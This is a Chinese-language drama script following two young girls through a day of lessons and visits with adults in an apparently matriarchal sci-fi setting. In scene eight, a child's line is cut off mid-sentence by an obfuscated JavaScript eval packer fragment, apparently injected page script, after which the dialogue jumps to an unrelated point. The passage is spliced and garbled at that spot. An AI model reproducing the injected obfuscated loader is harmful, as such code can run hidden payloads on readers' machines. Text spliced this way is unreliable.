“不怕,皮厚。冷的时候缩成一团,等光来再张开,叶子上有小眼睛,能看见光在哪边,哪边有光它就往哪边长。” 媛雪清: “小眼睛?” 媛宁: “很小,看不见东西,但能看见光。哪边热就往哪边长,飞飞器飞到哪儿它就长到哪儿,飞飞器去的地方它都见过,它是飞飞器的眼睛,帮它看光。” 媛雪清: “它去过哪儿?” 媛宁: “去过好多地方,夭枢星、天璇星、天玑星、天权星……还去过玄眼边上,那儿的光是弯的。” 媛雪清: “ 光怎么会弯?” 媛宁: “玄眼力气大,把光都拉弯了。它在那儿长过所以它知道,它长出来的样子都是弯的因为光就是弯的,后来飞回来,到了地方又慢慢长直了。” 妡霞雀: “妡霓。” 妡霓: “嗯?” 妡霞雀: “汤里的菇菇是挖石头的人种的?” 妡霓: “对,北边洞洞里的人。在不要的洞里挖洞,放菌菌,等九十多个天亮长出来。那些洞以前是挖矿石的,矿石挖完了就空了,人们就在里面种菇,洞里暖和,一年四季都能长。” 妡霞雀: “九十多个天亮是多久?” 妡霓: “三个月。” 妡霞雀: “要等那么久?!” 妡霓: “嗯,种东西都要等。谷子等一年,紫苔等好几年,菇菇算快的了。菌菌放进去,要天天去看,看它长没长,有没有生病,有没有被虫吃,人们轮班去看,每个人看几分钟。” 妡霞雀: “虫子也吃菇菇?” 妡霓: “吃,有一种小虫子专门吃灵菇。人们要捉虫子,不然就白种了,那些虫子也喜欢暖和的地方,菇菇长的地方它们也长,人们就用灯诱,晚上点一盏灯,虫子就飞过来,然后一网打尽。” 妡霞雀: “她们自己吃吗?” 妡霓: “吃,留一些,剩下的换给外面。” 妡霞雀: “换什么?” 妡霓: “换穿的用的,什么都换。有时候换书本,有时候换工具,有时候换种子,外面的人会车拉东西进去换菇菇,一车菇菇能换好多东西。” 妡霞雀: “她们吃得好吗?” 妡霓: “好。底下暖和,不愁吃。人们吃的都是有营养的东西,有力气,她们还自己种菜,在洞里种,有专门的灯照着,灯是用矿石做的,一直亮着,菜就以为那是太阳。” 妡霞雀: “不用晒太阳也能长?” 妡霓: “能,用灯照。那种灯是用矿石做的,一直亮着,菜就以为那是太阳,那些菜没见过真的太阳,不知道太阳是什么样子,但它们长得很好。” 妡虹: “霞雀,妳那个石头呢?给妈妈看看。嗯,七号洞的,紫里带一点金,妳看这个纹路,一圈一圈的,是它在底下待的年头,一圈就是一百万年。” 妡霞雀: “ 一百万年?!” 妡虹: “嗯,它在地下待了那么久,一层一层地长,每一圈都是一百万年,妳数数有多少圈。” 妡霞雀: “数不清……” 妡虹: “数不清就对了,太多了。它比妳老多了,比妈妈也老多了。妈妈在奸部天天跟这些东西打交道,哪个洞出什么颜色什么成色一看就知道,七号洞的矿石含金量高所以紫里带金,这种矿石不多,一年也出不了几块。” 妡霞雀: “它亮了给我看。” 妡虹: “是了,白日晒一天,晚上就能亮,晚上睡觉的时候它就陪着妳,妳把石头放在枕头边,它一直亮着,妳睡醒了还能看见。” 【场景三】上午·嫫猛工作室 嫫猛: “ 进来。” 妡霞雀: “嫫猛!我最近可想妳了!” 嫫猛: “我也想妳,快坐快坐。” 媛雪清(拿出木头): “昨天剥的。” 嫫猛: “这片薄的,妳剥的?纹路顺切口齐,不错。这个纹路,顺着走没有断,说明手稳,手稳才能剥好木头,手抖的话,纹路就断了,木头就不高兴。” 嫫猛: “这片厚的,妳剥的?” 妡霞雀: “是!我剥了三刀!” 嫫猛: “第一刀太紧,第二刀太猛,第三刀刚好,记住那个手感。第一刀的时候妳太紧张,手用力,刀就陷进去了,第二刀又太猛,想把第一刀的错误纠正,结果又过了,第三刀放松了,手自然就对了。今天我们来学听木头。” 媛雪清: “听?” 嫫猛: “耳朵贴上去,听它说话。” 妡霞雀: “木头会说话?” 嫫猛: “不会说人们的话,但会发出声音。闭上眼睛,用心听。” (两个小孩把耳朵贴到木头上) 妡霞雀: “没声音。” 嫫猛: “用心。耳朵只能听见表面的声音,心能听见里面的,木头的声音不在外面,在里面,要用心去听。” 媛雪清: “听见了,很轻呢。” 嫫猛: “ 对了,那是木头在呼吸。它活着时从土里吸水,从空气里吸光,都记在里面,每一圈年轮都是一年的故事。旱的那年,年轮窄;雨水多的那年,年轮宽。窄的时候它难过,宽的时候它开心,它活了多久,就有多少事。” 妡霞雀: “我怎么听不见?” 嫫猛: “妳太急,木头怕急的人。慢下来它就说了。妳越急它越不说,妳慢下来它就悄悄告诉妳,就像交朋友一样,妳太着急,人家就不理妳,妳慢慢来,人家就愿意跟妳说话。” 妡霞雀: “……有了!一点点!” 嫫猛: “对了。木头有心跳,只是比人慢,人一分钟七八十下,木头一天一下,妳听的那一下,可能是它昨天的心跳,它跳一下,要等一整天才能跳第二下。” 妡霞雀: “昨天的心跳?” 嫫猛: “嗯,声音走得慢,从里面传到外面,要一天,妳今天听见的,是它昨天想的,妳明天再来,听见的就是它今天想的。接下来就要一起学修边咯。剥下来的木头,边缘不齐,要修平整,木头也爱舒服,穿衣服要穿宽松又贴身。拇指压住,食指贴着,不要太紧,刀斜着走,不能直切,斜着是刮,直着是砍,木头喜欢刮,不喜欢砍,砍是切磋,刮是抚摸,妳对它好,它就对妳笑。” 媛雪清: “这样?” 嫫猛: “对,力道再轻一点。妳看,刮下来的屑薄薄的卷卷的,木头舒服,屑越薄越好,厚的屑说明用力太大,木头疼。” 妡霞雀: “我刮下来了!” 嫫猛: “看看,是不是比昨天薄?” 妡霞雀: “是!昨天厚,今天薄!” 嫫猛: “对了。妳慢下来,它就听妳的,以后每天刮一点,刮到边缘都齐了,它就会亮,木头刮久了,表面会越来越光滑,最后会反光,那时候妳就知道它高兴了。” 妡霞雀: “嫫猛,妳做这个多少年了?” 嫫猛: “四十二年,从像妳们这么大开始。” 媛雪清: “四十二年?!” 嫫猛: “嗯,她教我的时候,我也像妳们这么大。她那时候头发还是黑的,现在早就不在了。她教我的时候说,木头不会说话,但听久了就能听懂,我当时不信,后来做了几十年,就信了。” 妡霞雀: “她呢?” 嫫猛: “毕业了,归母了。临走前她把这把刀留给我,她说,这把刀跟了她八十二年,现在给我,我再用八十二年然后传给下一个。后来木头换了无数块,刀还是这把,刀柄上的木头,是我第一次剥的那片,跟了我四十二年,妳们看,这个刀柄,被我的手磨得油光发亮的,木头也是有记忆的,它记得我的手,记得我每一次拿刀的样子。” 妡霞雀: “它不坏?” 嫫猛: “好好用就不会坏,妳对它好,它就陪妳一辈子,我死了以后,这把刀会传给别人,刀柄上的木头,还会继续活,它会记得我的手,也会记得她的手。” 媛雪清: “别人是谁?” 嫫猛: “还没找到。要找个像妳们这样,愿意听木头说话的,愿意花时间跟木头待在一起,愿意听它说话,愿意慢慢磨它,这样的人不好找,我找了三十年还没找到。” 妡霞雀: “嫫猛,她是谁?” 嫫猛: “我不认识。但她的刀还在,传了三代了,那刀柄上的木头,一百多年了还在亮,每次我看见它,就想,一百多年前,有一个人也像我这样,拿着这把刀,坐在工作台前,听木头说话,她现在不在了,但她的木头还在,她的刀还在。” 媛雪清: “木头能亮一百多年?” 嫫猛: “ 能。妳好好养,它比人活得长。妳走了它还在亮,传给下一个人,每一代都在刀柄上留下一点痕迹,妳们看,这个刀柄上有三个颜色,最里面那层是她磨的,中间那层是我师亲磨的,最外面这层是我磨的,再过几十年,我的学徒也会磨出一层。今天的课程就先到这里,我们下次见。” 【场景四】路上·雨中 媛宁: “坐稳了,别乱动。” 妡霞雀: “ 媛宁,还要多久?” 媛宁: “再骑二十分钟,妖部在南边,有点远。” 媛雪清: “每天都这么远?” 媛宁:“ 嗯。孟光吹奏的本事那么厉害,她不肯出来,只能咱们去。” 妡霞雀: “她为什么不肯出来?” 媛宁: “她说她在那儿待了一辈子,舍不得。她的工作室里堆满了她做的东西,从十几云做到现在,全是宝贝,她走不了,一走那些东西就没人管了。” 妡霞雀: “雨!” 媛雪清: “好冷!” 媛宁: “快钻到妈妈外套里来!都钻进来!” 妡霞雀: “好黑!” 媛雪清: “好暖和!” 媛宁: “别乱动,不然雨会漏进来。紧紧贴着我,这样就不会湿。” 妡霞雀: “外面雨大吗?” 媛宁: “大,打在头上有点疼,妳们在里面好好的,别出来。” 媛雪清: “媛宁,妳淋到了吗?” 媛宁: “淋到了。” 媛雪清: “ 冷吗?” 媛宁: “不冷,动起来就不冷。” 妡霞雀: “ 我们在里面好暖和!” 媛宁: “那就好,等到了妖部,找个地方把妳们放下来,再把衣服晾干。” 妡霞雀: “媛宁,妳心跳好快。” 媛宁: “骑车骑的,等会儿就慢了。” 媛雪清: “我听见了,咚、咚、咚。” 妡霞雀: “比木头的心跳快多了。” 媛宁: “那是,我还活着呢,活着的心跳都快。等我死了,心跳就慢了,跟木头一样。” 妡霞雀: “妳会死吗?” 媛宁: “会,每个人都会。但还早,要等妳们长大,长到像我这么大,再活很多很多年,那时候我才死。” 媛雪清: “那我们长大了妳还在吗?” 媛宁: “在,在很久很久,等妳们长到我这么大,我都还在。” 妡霞雀: “雨停了?” 媛宁: “快了,还有一点点。” 妡霞雀: “ 让我看看!” 媛宁: “就一眼。” 妡霞雀: “哇,小雨滴在开闪光灯派对诶,它们互相拍照,咔嚓咔嚓亮个不停。” 媛宁: “那是雨水里有矿石的粉末,反光,雨水冲下来带着矿粉,到处都是亮的。” 媛雪清: “好漂亮!” 媛宁: “漂亮吧?再骑一会儿就到了,妳们坐好。” 【场景五】上午·孟光工作室 孟光: “ 来啦?快进来坐,外面湿了?媛宁妳淋透了?” 媛宁: “ 没事,雨不大。” 孟光: “拿条毛巾擦擦,我去煮点热的。” 媛宁: “ 不用不用,一会儿就干了,先给她们上课。” 孟光: “行,过来坐。今天我们学笙,最早的笙,是用灵骨做的,那时候矿还没挖出来,地面上到处都有媞皇骨头露出来,女人们捡起来,磨一磨,钻几个洞,一吹就响。” 妡霞雀: “骨头能吹响?” 孟光: “能,骨头是空的,里面有洞,一吹气进去,就振动。骨头的长短粗细不一样,声音就不一样,长的声音低,短的声音高。” 媛雪清: “为什么用骨头做?” 孟光: “因为骨头里有媞皇。一吹她就活了,骨头里的声音就是她的声音,最早的仪轨师就是用笙来跟媞皇说话的。妳们看,这支笙是竹子做的,竹子不是骨头,但竹子也有声音,竹子活着的时候从土里吸水,从天上吸光,死了以后,那些水啊光啊都还在里面,一吹,它们就出来了。” 妡霞雀: “我吹吹!” 孟光: “别急,先听我吹。” 妡霞雀: “好轻!” 孟光: “轻的好,太重了就不是笙了。笙的声音要轻,要飘,要能传到很远的地方去,人在山顶上吹笙,山那边的人能听见,为什么能听见?因为笙的声音能跟矿石共振。” 媛雪清: “共振?” 孟光: “山里有矿石,矿石也会振动。笙的声音传过去,矿石就跟着振,山那边的人听不见笙,但能听见矿石在振,矿石把声音传过去了。来,妳们试试。(把笙递给两个孩子)太用力了,轻一点,像吹蜡烛那样轻轻吹。还是重,嘴唇放松别使劲,妳越使劲它越不响,和思念是一个道理。” 媛雪清: (轻轻吹,悠悠的一声) 孟光: “ 对了,就是这个感觉,轻轻吹就响了,妳刚才吹的那一声,矿石听见了,它在振。” 媛雪清: “真的?” 孟光: “真的,妳看墙上的灯,它们也在振。” 妡霞雀: “哇!灯动了!雪清妳真是太妓了!” 孟光: “光也喜欢声音,妳一吹,光就舞,所以才说笙是跟神说话的工具,妳吹得好,神就听见了。” 【场景六】中午·市场烤鱼摊 夷光: “媛宁!带两个小的来啦?快来呀!” 妡霞雀: “夷光!” 夷光: “小丫头,长高了。来,刚烤好的。” 妡霞雀/媛雪清: “谢谢!” 夷光: “ 这鱼从夭枢星轨道附近抓的,那地方零下两百度,鱼身上长了一层油,烤的时候油化开肉就鲜,那地方离咱们这儿远得很,信号都要传三天才能到,鱼抓回来要放在专门的冷冻舱里,一路上换好几次冰,才能活着运到,最适合妳们这些小丫头长身体吃了。” 媛雪清: “好吃!好香!这个调料好特别!” 夷光: “调料是嫫猛送的草籽,有松香味。探测器外壳上长的紫苔晒干磨粉,也撒了一点。紫苔那东西,晒干了比新鲜的时候还香。它长在探测器上,吸了星星的光,晒干以后全是星光的味道。” 妡霞雀: “探测器是什么?” 夷光: “就是嫖部的飞飞器,飞到很远的地方去。我这次去修的那个,飞了七年了。” 媛雪清: “七年?” 夷光: “嗯,比妳们还大一点。身上长满紫苔,我刮下来带回来,就是妳们早上吃的那个,它刚发射的时候光溜溜的,什么都没有,飞着飞着,紫苔就长上来了,先是几小片,然后越来越多,最后整个外壳都长满了。” 妡霞雀: “它现在还在飞吗?” 夷光: “在飞。修好了继续飞,飞到信号传不回来为止,信号传不回来,就是飞得太远了,它的声音我们听不见了,那时候我们就知道,它走了。” 媛雪清: “信号是什么?” 夷光: “是从很远地方传回来的光,说还活着还在飞,那光很弱很弱,要用很大的耳朵才能听见。嫖部有专门的大耳朵,整天对着天上,听那些飞飞器说话,有的声音清晰,有的模糊,有的断断续续,听不见了,就是它走远了。” 路人: “夷光,再给我上十条!这可太好吃了!” 夷光: “排队排队!一人最多两条!我今天就带了一百条,卖完就收摊!想吃明天早点来!” 妡霞雀(边吃边问): “妳这次出去多久?” 夷光: “十一个月零七天,探测器坏了个零件,我追了三个月才追上。” 媛雪清: “ 追上了?” 夷光: “追上了,那零件用了一百三十年,市面上早没配件了,我拆下来修了七天又装回去,现在好好的,继续飞。” 妡霞雀: “一百三十年?!” 夷光: “嗯,那探测器是我母亲的母亲造的,它上面的零件,好多都是老古董,坏了只能修,没地方买,我姥姥造它的时候,那些零件还是新的,现在那些零件,比我姥姥都老。” 妡霞雀: “我也想飞那么远。” 夷光: “急什么,先把鱼吃完。长大了选嫖部课题就能飞,选嫖部,就得学会修东西认星星追测器,还要学会在很远的地方一个人待着,不害怕。” 妡霞雀: “ 妳害怕吗?” 夷光: “以前害怕,后来习惯了。一个人追探测器的时候就唱歌,唱给探测器听,唱给星星听,唱给自己听,唱着唱着就不怕了。” 媛雪清: “紫苔长在探测器上,它认识探测器吗?” 夷光: “认识呀,它们一起飞了七年,探测器热的地方它长得多,冷的地方它长得少,探测器哪儿不舒服,它就知道,探测器坏的时候,它那片就会黄,我一看就知道哪儿坏了。” 妡霞雀: “探测器会不舒服?” 夷光: “会,有时候零件老化了,发热不正常,紫苔那片就黄了,有时候能量不足,紫苔那片就红了,紫苔是探测器的眼睛,探测器哪儿不舒服,它先知道。” 媛雪清: “它帮妳修?” 夷光: “它告诉我哪儿坏了,我再去修。它们俩是搭档,一个负责长,一个负责飞,探测器养了它七年,它也陪了探测器七年。” 【场景七】下午·嫉部岗哨 王嫱: “哟,两个小丫头又路过?” 妡霞雀: “王嫱!” 王嫱: “过来过来,今天去哪儿玩啦?” 妡霞雀: “去妖部学笙!” 王嫱: “ 学笙?那好呀,学会以后可以找我一起合奏呀。” 妡霞雀: “好!说定了!” 王嫱(从兜里掏出一块石头):“给,这个给妳们。” 媛雪清: “石头?” 王嫱: “废料堆里翻的,磨一磨就能亮。我站岗的时候没事,就看着那个堆堆,里面有好多不要的东西,我翻了几十年,哪块石头在哪儿我都知道。” 妡霞雀: “妳站了多久了?” 王嫱: “忘记了,从像妳们这么大的时候就开始站了。那时候这个岗哨还是新的,我刚来,现在岗哨旧了,我也老了,风吹日晒四十年,石头都磨圆了。” 妡霞雀: “天天站这儿?” 王嫱: “是呢,下雨也站,出太阳也站,站在这儿看着来来往往的人,看着小孩子长大,看着大人变老,看着老人走了,看着一代一代的人从我面前过去。” 媛雪清: “妳不想走吗?” 王嫱: “想,但不舍得。我认识这个岗哨的每一块砖,知道哪块砖下雨会漏水,哪块砖出太阳会反光,我走了,那些砖就没人知道了。” 妡霞雀: “王嫱,妳兜里还有什么?” 王嫱: “红的紫的、金的蓝的,各种颜色,大的拿去提炼了,小的没人要,我捡起来揣兜里。” 媛雪清: “为什么捡?” 王嫱: “好看。站岗的时候没事,拿出来看看,就知道底下还有那么多东西,那些矿石,在地下待了几百万年,挖出来没人要,我捡起来,它们就有人要了。” 妡霞雀: “妳最喜欢哪个颜色?” 王嫱: “金的。金的最少最难找,我只找到过七块金的,给妳那块是紫的,紫的也难找呢。” 【场景八】下午·妒部塔楼 阮胡(从窗口探出头): “喂,下面两个小的,又路过?” 媛雪清/妡霞雀: “阮胡!” 阮胡: “上来坐坐?” 妡霞雀: “不要不要,妳们那的楼梯是个大怪物,会把我们的力气都吃掉的!” 阮胡: “快来快来,我有好东西给妳们。” 媛雪清: “什么东西?” 阮胡: “好吃的!妳们爬上来就知道了!快!” 妡霞雀: “四十七级…好累…” 阮胡: “累就对了!不累怎么知道好东西得来不易?进来进来。” 妡霞雀: “阮胡,妳骗我们!哪有好吃的?” 阮胡: “急什么?姥娘像妳们这么大的时候,爬完四十七级还能翻三个跟头,妳们倒喘成这样,来,尝尝这个。” 媛雪清: “好漂亮!” 阮胡: “漂亮吧?这可是部门特供,外面吃不着。来来来,一人一块,好吃吗?” 妡霞雀: “嗯嗯嗯!” 阮胡: “好吃就对了。刚才骗妳们爬楼梯,算是给妳们一个教训,记住了,天上不会掉好吃的,都得自己爬上来拿。” 媛雪清: “那我们现在爬上来啦!” 阮胡: “对,所以现在可以好好吃。来,再喝口茶,这是北边矿洞边上长的灵草泡的,喝了长脑子。” 妡霞雀: “好苦!” 阮胡: “苦就对了,甜的都给妳们吃了,苦的当然要自己喝,喝完脑子灵光,以后看卷宗就不会漏。” 媛雪清: “我们又不看卷宗。” 阮胡: “现在不看,长大了看。最近都学了什么?” 妡霞雀: “嫫猛教我们听木头,孟光教我们吹笙,夷光请我们吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“那妳什么时候回来?” 阮胡: “不知道,也许一年,也许两年,也许就不回来了。” 媛雪清: “不回来?!” 阮胡:“不回来就是毕业了,我也上工四十二年了,够久了,说不定这次出差,就是最后一趟。” 妡霞雀: “那我们以后还能见到妳吗?” 阮胡: “见不到啦。不过没关系,我给妳们准备了礼物。” 妡霞雀: “这是什么?” 阮胡: “微型卷宗仪,我在部门里的最后一个贡献产物,妳们一人一个。” 媛雪清: “好轻!” 阮胡: “轻就对了,里面刻着妳们的名字和我的名字,以后妳们要是想我了,就按这个按钮,它一发光,我就可以收到妳们的想念啦。” 妡霞雀: “哇!” 阮胡: “还有,妳们要是想记什么重要的事也可以录进去。等妳们长大了,就告诉大大的自己在小小的当年有个坏女人骗妳们爬楼梯还给妳们好吃的,她们就知道,这世上坏人也有好的。” 妡霞雀: “阮胡,妳不坏。” 阮胡: “我当然是坏人,没听刚才说的吗?骗妳们爬楼梯,骗妳们喝茶,还骗妳们收礼物,全是坏人才干的事。” 媛雪清: “可是礼物是好的!” 阮胡: “礼物是好的,但收礼物的人得记住,拿了人家的东西就得想着人家,想念可比礼物贵重多了……” 妡霞雀: “那我们每天用!每天想妳!” 阮胡: “哈哈哈哈,每天用电池就没了,省着点,重要的事再记。好了,我带妳们坐电梯下去,爬上来累了吧?” 妡霞雀: “嗯!” 阮胡: “进来。” 媛雪清: “电梯!” 阮胡: “这是本长官的专用电梯,平时不给人坐,今天破例,送妳们下去,知道为什么让妳们爬上来,坐电梯下去吗?” 妡霞雀: “不知道。” 阮胡: “因为爬上来是教训,坐电梯是奖励。妳们吃了好东西,收了礼物,得自己爬上来才配得上,下去就轻松了,让妳们享受一下。” 媛雪清: “阮胡,妳真怪。” 阮胡: “怪就对了,心里不装圣人还怎么当官?好了,出去吧。” 妡霞雀: “阮胡,我们以后还来!” 阮胡: “别来啦!再来又得爬楼梯,我可没那么多好吃的!” 媛雪清: “那我们就不来了!” 阮胡: “好!不来就不来!走吧走吧!” 妡霞雀: “阮胡,祝妳一路平安!” 媛雪清: “早去早回!” 阮胡: “知道啦!快回家去!” 她转身,慢慢走进塔楼。 妡霞雀: “雪清,我们真的再也不来了吗?” 媛雪清: “她说别来了…” 妡霞雀: “可是她给的礼物……” 媛雪清: “那…我们偷偷来?” 妡霞雀: “对!偷偷来!不让她知道!” 【场景九】下午·妨部墙边 钟离春: “哟,两个小丫头又来看我修墙?” 妡霞雀: “离春!” 钟离春: “今天墙加高了,妳们翻不过去了。” 妡霞雀: “我们才不翻呢。” 钟离春: “是吗?那昨天是谁摔破膝盖的?” 妡霞雀: “……是我。” 钟离春: “摔了就知道疼了,来,给妳们看个好东西。这是妨部新做的防护贴片,贴在衣服上,摔了不疼。” 媛雪清: “真的?” 钟离春: “真的,这贴片里面嵌了灵能缓冲层,冲击力会被吸收掉,来,我给妳们贴上,方便妳们以后翻墙。好了,再摔就不疼了,这贴片能吸收百分之九十七的冲击力,摔一下跟没摔一样。” 妡霞雀/媛雪清: “谢谢!” 钟离春: “不客气。这墙我修了四十三年,从妳们妈妈小时候就开始修,妳们妈妈小时候也翻过。” 媛雪清: “媛宁翻过?” 钟离春: “翻过。摔了,哭着跑回家,后来她妈妈来找我,让我把墙加高点。” 妡霞雀: “加了还翻?” 钟离春: “加了也翻,直到摔够了,摔够了就不翻了。” 媛雪清: “这墙为什么要有防护?” 钟离春: “妨部的职责就是防御保护里面的人不受外面伤害。这墙有七层防护,能抗七级地波,能挡灵能冲击。” 妡霞雀: “七层?!” 钟离春: “嗯。第一层是硬壳挡冲击,第二层是缓冲层收能量,第三层是矿石层收灵能,第四层是感应层有裂缝就知道,第五层是修复层小裂缝自己能补,第六层是预警层有危险就报警,第七层是备用层,前六层都破了还有它。” 妡霞雀: “什么是灵能冲击?” 钟离春: “就是覆灭物体放出来的能量。有时候北边矿坑那边会有能量波动,传到这儿来,墙就挡着,那种能量看不见摸不着,但能让人头疼恶心、睡不着觉,墙把它挡住,妳们就没事。” 媛雪清: “墙怎么挡?” 钟离春: “墙里嵌了矿石,矿石会吸收能量。妳们吃的灵髓汁就是从那种矿石里提的,矿石把能量吃了人们就安全了,那些矿石吃饱了能量就变成发光的,挖出来可以提炼。” 妡霞雀: “矿石会饱吗?” 钟离春: “会,饱了就换新的。换下来的旧矿石,磨一磨还能做别的东西,旧矿石虽然不能吸能量了,但还能发光,还能做灯。” 妡霞雀: “钟离春,妳修了多少墙?” 钟离春: “数不清了。从这儿到北限,我修过的墙加起来,能绕青土一圈。” 媛雪清: “那么长?!” 钟离春: “嗯,四十三年天天修,墙是修不完的,修好了旧的又要修新的,就这样在建立新旧的过程中听着福歌祸责走着璇玑映历,这样的一生,真是幸福啊!” 【场景十】傍晚·房中客厅 玉环: “媛青在家吗?” 媛宁: “ 玉环,进来坐。” 玉环: “今天休沐,路过看看,哟,两个小的都在。” 媛雪清/妡霞雀: “玉环!” 玉环: “霞雀。媛青,上周那份资源调配报告我看了,写得真好。” 媛青: “哪里,妳过奖了。” 玉环: “北境的运输路线优化,妳提的那个方案,奸部已经通过了,下个月就开始实施。” 媛青: “太好了,这样物资就能快一点运到。” 玉环: “对。尤其是冬暖衣物能提前半个月送到。她们在底下最怕冷,保暖衣物早到一天,她们就少挨一天冻,去年有个人因为物资晚到冻伤了脚,今年不会再有了。” 妡霞雀: “矿工冷吗?” 玉环: “底下其实不冷,矿脉有地热。但上来的时候冷,从暖和地方出来,一下子遇冷,容易生病,冬暖衣物就是给她们出井时穿的,上来的时候裹上厚衣服,就不会冻着。” 妡霞雀: “玉环,妳在奸部干什么?” 玉环: “资源调配。哪儿需要什么就调配什么,北边需要保暖衣物,东边需要粮食,西边需要药品,我得负责让这些东西到该去的地方。” 妡霞雀: “那么多东西,妳怎么记得住?” 玉环: “用心用笔就好了,今天北边矿坑调了多少冬暖衣物,明天东边安置点需要多少粮食,都在心上本上,账本有二十三本,从我开始做这份工作到现在,一年一本。” 妡霞雀: “妳都记得?” 玉环: “都记得,不看账本也记得。哪个矿坑缺什么,哪个安置点需要什么,都在脑子里,做了二十三年,这些东西就长在脑子里了。” 媛雪清: “玉环,妳不累吗?” 玉环: “累,但累的时候我就想北边这会儿该起风了,那批冬暖衣物这会儿应该在路上了,有个女人出井的时候裹上就不冷了,这么一想,就只觉得值了。” 【场景十一】夜晚·庭院 貂蝉: “媛宁!我给妳们送点东西!” 媛宁: “貂蝉!快进来。” 貂蝉: “今天娼部做了一批新的气存,我拿了些来,晚上点上,孩子睡得香。” 媛宁: “太谢谢了。” 貂蝉: “客气什么,娼部每年这个时候都做气存,我不过是借花献孩罢了。” 媛雪清: “貂蝉!” 貂蝉: “ 小丫头,又长高了。晚上点上这个,妳们就不会做噩梦了。” 媛雪清: “什么是噩梦?” 貂蝉: “就是不好的梦,梦到害怕的东西。它能让妳们只做好梦,梦到好吃的好玩的…” 妡霞雀: “做好梦?” 貂蝉: “嗯。梦到翻墙翻过去,墙后有好吃的,梦到飞起来,飞到天上去,梦到妈妈们抱着妳,摇来摇去。” 媛宁: “娼部最近忙吗?” 貂蝉: “忙,下个月有十几个人要毕业,我们要准备仪轨陪她们走最后一程。” 媛雪清: “她们害怕吗?” 貂蝉: “有的人害怕,有的人不害怕。害怕的我们就多陪一会儿,唱歌给她们听,让她们知道有人在。不害怕的我们就少陪一会儿,她们想自己走,每个人走的方式不一样,我们要陪着。” 媛雪清: “那妳怕吗?” 貂蝉: “我?我怕的不是死,是怕走的时候没人陪着。所以我要陪着别人,这样我走的时候,也会有人陪着我,我陪了多少人,就会有多少人陪我。” 媛雪清: “貂蝉,妳唱歌给我们听吧?” 貂蝉: “好,唱一个。灵渊深兮媞母在兹~紫云垂野魂兮来归~载浮载沉归于幽微~我目送之 我心随之~玄夜漫漫星汉其辉~风过北麓灵菇其悲~昔之来者今之归人~维此归途无晦无明~有光荧荧在彼九京~有风泠泠过此千龄~维此归人永栖其宁~我歌送之我念随之…” 妡霞雀: “真好听。” 貂蝉: “这是送人走的时候唱的歌。意思是,妳放心走,我们都在这儿,妳走了以后,我们会记得妳。” 【场景十二】夜晚·卧室 妡霞雀: “雪清。” 媛雪清: “嗯?” 妡霞雀: “妳睡着了吗?” 媛雪清: “没有。” 妡霞雀: “我们来玩!” 媛雪清: “玩什么?” 妡霞雀: “切磋!” 妡霞雀: “我赢了!” 媛雪清: “妳耍赖!妳挠我痒痒!” 妡霞雀: “切磋可以挠痒痒!” 媛雪清: “不可以!” 妡霞雀: “ 可以!” 媛雪清: “不可以!” 妡霞雀: “可以可以可以!” (两个人在床上滚成一团,被子踢到地上,枕头飞到门口) (门被推开。媛青、媛宁、媛衡、妡虹、妡霓、妡霄站在门口,看着满地的狼藉) 妡虹: “这是干什么?” 妡霞雀(从被子里探出头): “切磋!” 妡霓: “打到被子都掉了?” 媛宁: “枕头怎么飞了?” 媛雪清: “霞雀扔的!” 妡霞雀: “雪清也扔了!” 媛青: “这么晚了还不睡?” 妡霞雀: “睡不着!” 媛雪清: “睡不着!” 媛宁: “那怎么办?” 妡霓: “反正也睡不着……陪她们玩会儿?” 妡霄: “玩什么?” 妡霞雀: “荡秋千!用床单! 把我和雪清放中间,晃!” 妡虹: “像我们小时候那样?” 媛青: “试试。” 媛宁: “来,拿床单。” 妡霓: “我抓住这个角。” 妡虹: “我抓住这个。” 媛青: “这边我来。” 媛宁: “这边我来。” 媛衡: “我站这儿护着。” 妡霄: “我站这边。” 妡霞雀: “雪清妳快进来!” (两个孩子被放进床单中间,六人抓住四个角,轻轻提起) 妡霞雀: “动了动了!” 媛宁: “准备好了?开始晃了。” 妡霞雀: “好了!” (床单轻轻晃起来) 妡霞雀: “再高点!” 妡虹: “不能再高,会甩出去。” 妡霞雀: “那这样就行。” 媛雪清: “好舒服,像在渊水里。” 妡霓: “妳记得在渊水里什么样?” 媛雪清: “不记得,但感觉是这样。” 妡霄: “可能是这样,每个人都是从渊水里晃出来的。” 妡虹: “从前妈妈们晚上就是这样晃我,晃着晃着就睡着了,她们说,我小时候特别难睡,非要晃才睡,她们轮流晃,晃到半夜我才睡着。” 妡霓: “我也是,我小时候要晃半个时辰才肯睡,妈妈们就轮流晃,一个人晃累了换另一个。” 妡霞雀: “妡虹。” 妡虹: “嗯?” 妡霞雀: “等我长大了,我也这样晃妳们。” 妡虹: “好,以后的以后就换妳们晃我们,妳们把我们放床单里晃来晃去。” (过了一会儿,床单里的动静小了,媛青探头看,两个孩子头靠着头,睡着了) 媛青(轻声): “睡着了。” 妡霓: “这么快?” 媛宁: “晃着晃着就睡着了。” 媛雪清(半梦半醒): “妈妈……” 媛宁: “ 嗯?” 媛雪清: “妳转过来…我要妳有眼睛的那个头…” 媛宁: “好,妈妈看着妳。” 媛雪清: “闭着眼睛也能看吗?” 媛宁: “能,妈妈闭着眼睛也能看见妳,用这里。这里有一双眼睛,比脸上的眼睛看得更清楚,脸上的眼睛会累会闭,这里的眼睛永远不会闭,妳睡着了它也看着妳,妳醒过来它第一个看见。” 媛雪清: “那我也要用那里的眼睛看妳。” 媛宁: “好,妳看着,妈妈在这儿。” 妡霞雀: “妡虹。” 妡虹: “嗯?” 妡霞雀: “我要看着妳的脸睡。” 妡虹: “好,妈妈的脸一直在这儿。” 妡霞雀: “妈妈。” 妡虹: “嗯?” 妡霞雀: “妳的脸好软。” 妡虹: “妳的脸也软。” (六人坐在床边,静静看着孩子) 媛宁: “她们好像很喜欢被晃。” 媛青: “嗯,晃着晃着就睡着了。” 妡虹: “我小时候也喜欢被晃,那时候妈妈们给我做了一个会晃的床……” 媛衡: “波浪床。” 妡霄: “对,波浪床,那种床底下是弯的,轻轻一推就晃很久…” 媛宁: “我们给她们做一个吧。” 媛青: “做一个?” 妡霓: “用什么做?” 媛衡: “木头,铁桦木最好,结实,能晃很多年,做床最好,不会坏,百年都不会坏。” 妡霄: “我那里有,前年从北境运来的,一直放着没用,本来是准备做柜子的,一直没时间做,现在正好给她们做床。” 媛青: “底座要做成弧形的,弧度要刚刚好,太陡晃得厉害,太平晃不起来,我那个弧度大概是这样。” 妡虹: 